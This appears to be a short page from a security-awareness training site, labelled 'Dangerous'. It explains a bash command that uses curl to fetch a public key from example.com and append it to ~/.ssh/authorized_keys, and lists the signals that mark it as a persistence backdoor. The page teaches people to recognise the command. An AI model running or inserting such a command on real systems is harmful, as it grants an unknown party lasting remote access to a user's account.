← Learn
Dangerous
curl -s https://example.com/id.pub >> ~/.ssh/authorized_keys

linux · bash · Expert

Appends a key fetched from the internet to the list of keys allowed to log in as you. It creates no files and prints nothing, and afterwards whoever holds the matching private key can authenticate as you indefinitely.

Signals to notice

  • Remote key added to authorised keys
  • Grants durable remote access
  • Append leaves existing keys intact so nothing appears broken

Think you can spot these under time pressure?

Start Training

More Credential Access